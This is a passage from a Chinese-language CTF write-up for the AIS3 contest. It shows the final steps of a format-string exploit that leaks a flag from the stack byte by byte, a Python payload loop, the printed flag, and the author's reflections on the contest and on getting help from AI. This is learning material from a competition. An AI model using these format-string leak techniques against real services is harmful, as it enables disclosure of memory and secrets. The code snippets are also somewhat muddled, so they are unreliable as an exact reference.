位置3: "~~~"
位置4: number
位置5+: 棧上的其他數據...
```
#### 第四步:找到flag位置
通過爆破不同位置來找flag:
```bash!
# 測試位置1-30
for pos in range(1, 31):
payload = f"%4$%{pos}$" # %4$跳過前面的參數,%{pos}$讀取指定位置
# 發送payload並觀察他的reply
```
發現過程:
* 位置1-4:已知的printf參數
* 位置5-19:其他棧變量(隨機值)
* 位置20:發現了'A' (ASCII 65)
* 位置21:發現了'I' (ASCII 73)
* 位置22:發現了'S' (ASCII 83)
* 位置23:發現了'3' (ASCII 51)
* 位置24:發現了'{' (ASCII 123)
這就是AIS3{的開始!
#### 第五步:payload構造邏輯
核心payload:`%4$%{position}$`
解釋:
* `%4$`:先讀取第4個參數(number),這是必須的因為格式字符串期望這樣
* `%{position}$`:然後讀取指定位置的值
當程序執行時:
```bash!
printf("Format number : %3$%4$%20$d\n", "Welcome", "~~~", number)
```
* `%3$`讀取第3個參數("~~~")
* `%4$`讀取第4個參數(number)
* `%20$`讀取第20個棧位置的值(flag的第一個字節)
#### 第六步:提取完整flag
```python=
def extract_complete_flag():
flag_chars = []
for pos in range(20, 60): # 從位置20開始
# 發送payload
payload = f"%4$%{pos}$"
conn.sendlineafter(b"What format do you want ? ", payload.encode())
response = conn.recvall()
# 從reply中提取數字
numbers = re.findall(rb'Format number : %\d\$(\d+)', response)
if numbers:
num = int(numbers[0])
char = chr(num & 0xFF) # 轉換為字符
if char.isprintable():
flag_chars.append(char)
if char == '}': # 找到結尾
break
return ''.join(flag_chars)
```
> #### flag: AIS3{S1d3_ch@nn3l_0n_fOrM47_strln&_!!!}
## 心得
~~這大概是我最高的排名了 存 (這大概是剛開賽不久的時候)~~

那個時候名字還叫

總之排名

很多題解的時候還有好幾百分的
到最後都變成100了 有點小難過
其實今年能打到14題...算是蠻意料之外的
只能說AI真的幫了很大的忙
看不懂的東西先丟給他讓他理解再跟我說明
思路卡住了可以題點我其他想法或是輔助分析 ~~很像隊友的感覺~~
省了很多查資料的時間 雖然我也知道這種直接要答案的學習方法不是很好
這次算是嘗到甜頭了 但平常學習的時候也不會這樣用了
||現在才開始後怕解太多題目,到時候分組就不會被跟大佬分一組了😖||
從去年的5題到今年的14題
本來開賽前還因為女婕思和種種原因在自我懷疑這一年是不是都沒有進步
因此比賽時間結束的時候有一種鬆了一口氣的感覺
這次算是很認真很認真去打的CTF 扣掉吃飯睡覺畢業典禮 總共打了26小時左右
但還是花了很多時間像是無頭蒼蠅一樣的亂打亂撞
也有很多題感覺就差臨門一腳了但最後還是沒能解出來
我還有很多不足的地方 我離前30名、前20名就是差那一題、兩題的距離
但就算只有一題還是感覺差了很多很多 還是收穫了滿滿不甘心的感覺 沒解出來就是沒解出來 我還有很多進步的空間 再接再厲
